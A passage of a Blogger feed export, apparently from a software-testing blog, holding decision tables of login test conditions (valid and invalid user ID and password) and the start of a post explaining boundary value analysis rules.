&lt;tr valign=&quot;TOP&quot;&gt;   &lt;td width=&quot;85&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-small;&quot;&gt;Range from 3-12&lt;/span&gt;&lt;/td&gt;   &lt;td width=&quot;76&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-small;&quot;&gt;N&lt;/span&gt;&lt;/td&gt;   &lt;td width=&quot;76&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-small;&quot;&gt;Y&lt;/span&gt;&lt;/td&gt;   &lt;td width=&quot;76&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-small;&quot;&gt;-&lt;/span&gt;&lt;/td&gt;   &lt;td width=&quot;75&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-small;&quot;&gt;-&lt;/span&gt;&lt;/td&gt;   &lt;td width=&quot;76&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-small;&quot;&gt;N&lt;/span&gt;&lt;/td&gt;   &lt;td width=&quot;76&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-small;&quot;&gt;Y&lt;/span&gt;&lt;/td&gt;  &lt;/tr&gt;
&lt;tr valign=&quot;TOP&quot;&gt;   &lt;td width=&quot;85&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-small;&quot;&gt;Action     &lt;/span&gt;&lt;/td&gt;   &lt;td width=&quot;76&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/td&gt;   &lt;td width=&quot;76&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/td&gt;   &lt;td width=&quot;76&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/td&gt;   &lt;td width=&quot;75&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/td&gt;   &lt;td width=&quot;76&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/td&gt;   &lt;td width=&quot;76&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/td&gt;  &lt;/tr&gt;
&lt;tr valign=&quot;TOP&quot;&gt;   &lt;td width=&quot;85&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-small;&quot;&gt;Error&lt;/span&gt;&lt;/td&gt;   &lt;td width=&quot;76&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-small;&quot;&gt;x&lt;/span&gt;&lt;/td&gt;   &lt;td width=&quot;76&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/td&gt;   &lt;td width=&quot;76&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-small;&quot;&gt;X&lt;/span&gt;&lt;/td&gt;   &lt;td width=&quot;75&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-small;&quot;&gt;X&lt;/span&gt;&lt;/td&gt;   &lt;td width=&quot;76&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-small;&quot;&gt;X&lt;/span&gt;&lt;/td&gt;   &lt;td width=&quot;76&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/td&gt;  &lt;/tr&gt;
&lt;tr valign=&quot;TOP&quot;&gt;   &lt;td width=&quot;85&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-small;&quot;&gt;Login processed     &lt;/span&gt;&lt;/td&gt;   &lt;td width=&quot;76&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/td&gt;   &lt;td width=&quot;76&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-small;&quot;&gt;y&lt;/span&gt;&lt;/td&gt;   &lt;td width=&quot;76&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/td&gt;   &lt;td width=&quot;75&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/td&gt;   &lt;td width=&quot;76&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/td&gt;   &lt;td width=&quot;76&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-small;&quot;&gt;Y&lt;/span&gt;&lt;/td&gt;  &lt;/tr&gt;
&lt;tr valign=&quot;TOP&quot;&gt;   &lt;td width=&quot;85&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/td&gt;   &lt;td width=&quot;76&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/td&gt;   &lt;td width=&quot;76&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/td&gt;   &lt;td width=&quot;76&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/td&gt;   &lt;td width=&quot;75&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/td&gt;   &lt;td width=&quot;76&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/td&gt;   &lt;td width=&quot;76&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/td&gt;  &lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #6aa84f;&quot;&gt;&lt;b&gt;Testing Conditions &lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/div&gt;&lt;table border=&quot;1&quot; bordercolor=&quot;#000000&quot; cellpadding=&quot;7&quot; cellspacing=&quot;0&quot; style=&quot;width: 639px;&quot;&gt;&lt;colgroup&gt;&lt;col width=&quot;113&quot;&gt;&lt;/col&gt;  &lt;col width=&quot;114&quot;&gt;&lt;/col&gt;  &lt;col width=&quot;114&quot;&gt;&lt;/col&gt;  &lt;col width=&quot;114&quot;&gt;&lt;/col&gt;  &lt;col width=&quot;113&quot;&gt;&lt;/col&gt;  &lt;/colgroup&gt;&lt;tbody&gt;
&lt;tr valign=&quot;TOP&quot;&gt;   &lt;td width=&quot;113&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-small;&quot;&gt;Test condition&lt;/span&gt;&lt;/td&gt;   &lt;td width=&quot;114&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/td&gt;   &lt;td width=&quot;114&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/td&gt;   &lt;td width=&quot;114&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/td&gt;   &lt;td width=&quot;113&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/td&gt;  &lt;/tr&gt;
&lt;tr valign=&quot;TOP&quot;&gt;   &lt;td width=&quot;113&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-small;&quot;&gt;User ID&lt;/span&gt;&lt;/td&gt;   &lt;td width=&quot;114&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-small;&quot;&gt;Valid&lt;/span&gt;&lt;/td&gt;   &lt;td width=&quot;114&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-small;&quot;&gt;Valid&lt;/span&gt;&lt;/td&gt;   &lt;td width=&quot;114&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-small;&quot;&gt;Invalid     &lt;/span&gt;&lt;/td&gt;   &lt;td width=&quot;113&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-small;&quot;&gt;Invalid&lt;/span&gt;&lt;/td&gt;  &lt;/tr&gt;
&lt;tr valign=&quot;TOP&quot;&gt;   &lt;td width=&quot;113&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-small;&quot;&gt;Password     &lt;/span&gt;&lt;/td&gt;   &lt;td width=&quot;114&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-small;&quot;&gt;Valid&lt;/span&gt;&lt;/td&gt;   &lt;td width=&quot;114&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-small;&quot;&gt;Invalid     &lt;/span&gt;&lt;/td&gt;   &lt;td width=&quot;114&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-small;&quot;&gt;Valid     &lt;/span&gt;&lt;/td&gt;   &lt;td width=&quot;113&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-small;&quot;&gt;Invalid     &lt;/span&gt;&lt;/td&gt;  &lt;/tr&gt;
&lt;tr valign=&quot;TOP&quot;&gt;   &lt;td width=&quot;113&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-small;&quot;&gt;Action&lt;/span&gt;&lt;/td&gt;   &lt;td width=&quot;114&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/td&gt;   &lt;td width=&quot;114&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/td&gt;   &lt;td width=&quot;114&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/td&gt;   &lt;td width=&quot;113&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/td&gt;  &lt;/tr&gt;
&lt;tr valign=&quot;TOP&quot;&gt;   &lt;td width=&quot;113&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-small;&quot;&gt;Test decision     &lt;/span&gt;&lt;/td&gt;   &lt;td width=&quot;114&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-small;&quot;&gt;ok&lt;/span&gt;&lt;/td&gt;   &lt;td width=&quot;114&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-small;&quot;&gt;ok&lt;/span&gt;&lt;/td&gt;   &lt;td width=&quot;114&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-small;&quot;&gt;?&lt;/span&gt;&lt;/td&gt;   &lt;td width=&quot;113&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-small;&quot;&gt;?&lt;/span&gt;&lt;/td&gt;  &lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/div&gt;&lt;table border=&quot;1&quot; bordercolor=&quot;#000000&quot; cellpadding=&quot;7&quot; cellspacing=&quot;0&quot; style=&quot;width: 511px;&quot;&gt;&lt;colgroup&gt;&lt;col width=&quot;113&quot;&gt;&lt;/col&gt;  &lt;col width=&quot;114&quot;&gt;&lt;/col&gt;  &lt;col width=&quot;114&quot;&gt;&lt;/col&gt;  &lt;col width=&quot;113&quot;&gt;&lt;/col&gt;  &lt;/colgroup&gt;&lt;tbody&gt;
&lt;tr valign=&quot;TOP&quot;&gt;   &lt;td width=&quot;113&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-small;&quot;&gt;Test condition&lt;/span&gt;&lt;/td&gt;   &lt;td width=&quot;114&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/td&gt;   &lt;td width=&quot;114&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/td&gt;   &lt;td width=&quot;113&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/td&gt;  &lt;/tr&gt;
&lt;tr valign=&quot;TOP&quot;&gt;   &lt;td width=&quot;113&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-small;&quot;&gt;User ID&lt;/span&gt;&lt;/td&gt;   &lt;td width=&quot;114&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-small;&quot;&gt;Valid&lt;/span&gt;&lt;/td&gt;   &lt;td width=&quot;114&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-small;&quot;&gt;Valid&lt;/span&gt;&lt;/td&gt;   &lt;td width=&quot;113&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-small;&quot;&gt;Invalid     &lt;/span&gt;&lt;/td&gt;  &lt;/tr&gt;
&lt;tr valign=&quot;TOP&quot;&gt;   &lt;td width=&quot;113&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-small;&quot;&gt;Password     &lt;/span&gt;&lt;/td&gt;   &lt;td width=&quot;114&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-small;&quot;&gt;Valid&lt;/span&gt;&lt;/td&gt;   &lt;td width=&quot;114&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-small;&quot;&gt;Invalid     &lt;/span&gt;&lt;/td&gt;   &lt;td width=&quot;113&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-small;&quot;&gt;-&lt;/span&gt;&lt;/td&gt;  &lt;/tr&gt;
&lt;tr valign=&quot;TOP&quot;&gt;   &lt;td width=&quot;113&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-small;&quot;&gt;Action&lt;/span&gt;&lt;/td&gt;   &lt;td width=&quot;114&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/td&gt;   &lt;td width=&quot;114&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/td&gt;   &lt;td width=&quot;113&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/td&gt;  &lt;/tr&gt;
&lt;tr valign=&quot;TOP&quot;&gt;   &lt;td width=&quot;113&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-small;&quot;&gt;Test decision&lt;/span&gt;&lt;/td&gt;   &lt;td width=&quot;114&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-small;&quot;&gt;Ok&lt;/span&gt;&lt;/td&gt;   &lt;td width=&quot;114&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-small;&quot;&gt;Ok&lt;/span&gt;&lt;/td&gt;   &lt;td width=&quot;113&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-small;&quot;&gt;ok&lt;/span&gt;&lt;/td&gt;  &lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://testingsaraswat.blogspot.com/feeds/4082273600571848364/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://testingsaraswat.blogspot.com/2011/11/test-condition-for-login-window.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6016883797447015575/posts/default/4082273600571848364'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6016883797447015575/posts/default/4082273600571848364'/><link rel='alternate' type='text/html' href='http://testingsaraswat.blogspot.com/2011/11/test-condition-for-login-window.html' title='Test Condition for Login Window'/><author><name>Prabhanshu saraswat</name><uri>http://www.blogger.com/profile/14945080239084113508</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6016883797447015575.post-8767900986771674692</id><published>2011-10-10T13:13:00.000+05:30</published><updated>2011-10-10T13:13:37.446+05:30</updated><title type='text'>Boundary Value Analysis</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt; &lt;br /&gt;
&lt;div style=&quot;color: blue; margin-bottom: 0in;&quot;&gt;&lt;b&gt;Writer : Dear Perl ! Can you put on tie with out shirt.&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;color: blue; margin-bottom: 0in;&quot;&gt;&lt;b&gt;Perl: Ha Ha Ha ! How it can be possible.&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;color: blue; margin-bottom: 0in;&quot;&gt;&lt;b&gt;Writer:Same is with BVA. It can not be used without EQP&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;&lt;b&gt;&lt;br /&gt;
&lt;/b&gt; &lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj-wdhL5OdARj3Q-AGFU0mknjFfacH1N0JgJuHRU5muEmGpuzc-Jyvsjll0M3D3poCDNmx8K75ekxCFGiKT0-8GyjWkQxqaDWO_ki0IB-Tkbr2HgTzcMneJKSBtST8bHGkkgcQ3fKnvYtw/s1600/Boundary.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;136&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj-wdhL5OdARj3Q-AGFU0mknjFfacH1N0JgJuHRU5muEmGpuzc-Jyvsjll0M3D3poCDNmx8K75ekxCFGiKT0-8GyjWkQxqaDWO_ki0IB-Tkbr2HgTzcMneJKSBtST8bHGkkgcQ3fKnvYtw/s320/Boundary.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;&lt;b&gt;&lt;br /&gt;
&lt;/b&gt; &lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;&lt;b&gt;&lt;br /&gt;
&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;color: #38761d; margin-bottom: 0in;&quot;&gt;&lt;b&gt;&lt;br /&gt;
&lt;/b&gt; &lt;/div&gt;&lt;div style=&quot;color: #38761d; margin-bottom: 0in;&quot;&gt;&lt;b&gt;Boundary value analysis is special case of  Equivalence class partitioning. After performing EQP , A tester can use this approach very easily.  &lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;color: #38761d; margin-bottom: 0in;&quot;&gt;&lt;b&gt;&lt;br /&gt;
&lt;/b&gt; &lt;/div&gt;&lt;div style=&quot;color: #38761d; margin-bottom: 0in;&quot;&gt;&lt;b&gt;Reason : most of the bug are founded on boundary.  Data flow in computer is based on stream concept.&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;color: #38761d; margin-bottom: 0in;&quot;&gt;&lt;b&gt; So in middle there are less chances of bug. So we focuses on boundaries more.&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;color: #38761d; margin-bottom: 0in;&quot;&gt;&lt;b&gt;&lt;br /&gt;
&lt;/b&gt; &lt;/div&gt;&lt;div style=&quot;color: #38761d; margin-bottom: 0in;&quot;&gt;&lt;b&gt;Standardized Rule :&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;color: #38761d; margin-bottom: 0in;&quot;&gt;&lt;b&gt;&lt;br /&gt;
&lt;/b&gt; &lt;/div&gt;&lt;div style=&quot;color: #cc0000; margin-bottom: 0in;&quot;&gt;&lt;b&gt;Minimum boundary -1&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;color: #cc0000; margin-bottom: 0in;&quot;&gt;&lt;b&gt;Minimum boundary  &lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;color: #cc0000; margin-bottom: 0in;&quot;&gt;&lt;b&gt;Maximum boundary&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;color: #cc0000; margin-bottom: 0in;&quot;&gt;&lt;b&gt;Maximum boundary+1&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;color: #38761d; margin-bottom: 0in;&quot;&gt;&lt;b&gt;&lt;br /&gt;
&lt;/b&gt; &lt;/div&gt;&lt;div style=&quot;color: #38761d; margin-bottom: 0in;&quot;&gt;&lt;b&gt;but for more depth of testing we can also follow alternative rule&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;color: #38761d; margin-bottom: 0in;&quot;&gt;&lt;b&gt;&lt;br /&gt;
&lt;/b&gt; &lt;/div&gt;&lt;div style=&quot;color: #cc0000; margin-bottom: 0in;&quot;&gt;&lt;b&gt;Minimum boundary -1&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;color: #cc0000; margin-bottom: 0in;&quot;&gt;&lt;b&gt;Minimum boundary  &lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;color: #cc0000; margin-bottom: 0in;&quot;&gt;&lt;b&gt;Minimum Boundary+1&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;color: #cc0000; margin-bottom: 0in;&quot;&gt;&lt;b&gt;Maximum boundary-1&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;color: #cc0000; margin-bottom: 0in;&quot;&gt;&lt;b&gt;Maximum boundary&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;color: #cc0000; margin-bottom: 0in;&quot;&gt;&lt;b&gt;Maximum boundary+1&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;color: #38761d; margin-bottom: 0in;&quot;&gt;&lt;b&gt;&lt;br /&gt;
&lt;/b&gt; &lt;/div&gt;&lt;div style=&quot;color: #38761d; margin-bottom: 0in;&quot;&gt;&lt;b&gt;Note: These boundaries are  based on range, after formal implementation of Equivalence.&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;&lt;b&gt;&lt;br /&gt;
